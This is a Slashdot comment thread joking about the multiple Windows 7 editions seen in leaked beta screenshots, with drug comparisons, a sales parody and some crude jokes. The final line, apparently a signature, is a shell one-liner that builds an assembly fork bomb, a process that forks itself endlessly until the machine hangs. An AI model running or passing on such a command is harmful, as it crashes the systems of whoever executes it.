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Windows 7 To Come In Multiple Versions
Crazy Taco writes "Tom's Hardware reports on newly discovered screenshots that reveal Microsoft is planning to release their newest version of Windows in multiple confusing versions ... again. The information comes from the latest version of the Windows 7 beta, build 7025 (the public beta is build 7000), and shows a screen during installation that asks the user which version of the OS he or she would like to install. Who's up for guessing what the difference is between Windows 7 'Starter' and Windows 7 'Home Basic?'"
Windows Starter edition comes without the Pipes screensaver?
I'll just hold out for Windows Cool Ranch.
Who's up for guessing what the difference is between Windows 7 'Starter' and Windows 7 'Home Basic?
"Starter" won't do much more than, well, start, and "Home Basic" will let you get your email.
The higher the technology, the sharper that two-edged sword.
It is interesting how this post came directly after the one about US UAV flight control. cough.. cough... windows7 mobile: seek and destroy cough...
All I care about is that my new machine is Windows 7 Compatible!
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Fnord.
That, or some particularly unsubtle advertising.
Home Basic - OxyContin - You still aren't going to make a commitment to the drug culture, but you need a stronger fix. Because it comes as a part of package, you don't need to find a dealer. If you are arrested, you can always claim it was prescibed or that the arrest is politically motivated.
Home Premium - Meth - You are know a dedicated member of the drug culture, maybe supporting pro drug use sites. Maybe you manufacture a few extra copies in your barn and deal them up on ebay, hoping the copyright police don't catch you.
Business - Cocaine - You are moving up in the big league. Money is not a problem, uoi just need the fix. You have dealer contacts, and long term contracts. Life is good.
Ultimate - Trip to Amsterdam - You have an office to make the plans, an expense account to pay for the trip, all you have to do is fly high.
But seriously, I know I am going to have to move from XP at some point, just like I had to move from NT and before that 95. It just does not give me a lot of confidence when more work may have been done creating various and arbitrary builds to meet certain price points than creating a stable OS. I mean, creating a single stable OS is hard enough. In Windows 7, MS has to build, debug, and correct dependencies of 5 different OS.
"She's a scientist and a lesbian. She's not going to let it slide." Orphan Black
Salesman: Now, I can sell you this command line only version of Buntu, but of course you want more than that don't you? You are a Man who knows his Linux. Am I right?
...
.. but 'Pen-Ultimate?'?...
... bandwidth, you have to share the release till you have handed out 4 full copies?
The Mark: Um, yeah.
Salesman: Good, I can also sell you this full version of Ubuntu, all the Gnome goodness one could ask for.
The Mark: What about Amarok? Does it come with
Salesman: OOOoooh, you want Kubuntu then? Not a problem, we can sell you that too.
The Mark: But, I like the partition editor in Gn....
Salesman: Buntu Pen-Ultimate...gotcha, just a little more cash for a Gnome/KDE love fest.
The Mark: That sounds great
Salesman: Oh, you want the goodies, like an SSH server, and extra packages?
The Mark: Yeah, I um..
Salesman: Not an issue my good man, we even have financing!
The Mark: Does that include things like databases and Apache?
Salesman: Oh, no. That is just a bit more, sorry. Tell you what though, you have pluck, I like that. I'll cut you a deal.
The Mark: Really!?
Salesman: Sure, Lets see....2000 add 98 carry the 7 and ME oh my! Lets go talk to our finance department, do you prefer a 5 or 7 year loan? Things are rather tight these days I hope you have colateral like a house?
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Friend: So the price was
The Mark: Yeah, go figure.
Friend: For 7 years?
The Mark: Releases, but they come out twice a year, so 3 and a half.
Friend: Harsh, I am just going to spend my $300 plus software costs on 7.
The Mark: You do that man.
Sera
Slashdot, where armchair scientists get shouted down and armchair theologians get modded up.
He left.
Where "OK" obviously means "down $500, and stuck with a bloated 3-legged dog".
I, for one, won't be buying it.
If you want to cut out the middle man but still support your favorite artists, you can always download it from TPB and then donate $15 directly to Microsoft. Or go to one of their concerts and buy a t-shirt.
"I zero-index my hamsters" - Willtor (147206)
I don't know what all the flap is about. No matter what distinctions Microsoft will impose it'll boil down to just two versions... Server, and Bot-net!
It's like buying a car with 12 cylinders and having a switch hidden under the hood somewhere that controls the number of cylinders used. You buy the budget model, still have to cart around the weight of all 12 cylinders, but only get to use 4 of them.
Ssssh! They have the Internet in Detroit now...
As long as they have Windows 7 AIDS Edition, I'm set.
Microsoft is finally getting hip to the Pokemon/Magic card phenomenon- only about 12 years late. Features will be sold in randomized booster packs with commons like "Borked Registry", and rares like "Uptime: all day".
Step right up for Windows 7 Business, Business Premium, Home, Home Premium, Home Chocolate, Home Strawberry-razzle, Super Deluxe Premium, Deluxe Premium Berry-blast-blizzard, and even hot fire ultimate cheese deluxe! All flavors, all the time!!
Despite its pink exterior, I've taken the liberty of playing around with it a bit.
Dang it, I just know there's a "Nerd meets vagina for the first time joke" somewhere in there...
Exactly. The only place I've heard about the "Disasterous Confusion" of vista's multiple versions is on Slashdot.
Who's up for guessing what the difference is between Windows 7 'Starter' and Windows 7 'Home Basic?
There is another method... it's far more effective than guessing. You could... look at the feature list.
http://www.microsoft.com/windows/windows-vista/compare-editions/default.aspx
OMG The confusion!!!
Let me break it down for ya'all
Do you need remote desktop?
Ultimate or Business.
Do you need Faxes?
Ultimate or Business.
Do you need Media Center?
Home Premium or Ultimate.
Do you want to burn DVDs and HD-DVDs out of the box?
Home Premium or Ultimate.
Do you live in a third world country and have flies on your face?
Home Basic
Was that REALLY so difficult?
That's fine, but what if you live in a first world country and have flies on your face? What then?
It's not missing, it's on a secret mission to the neutral zone.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;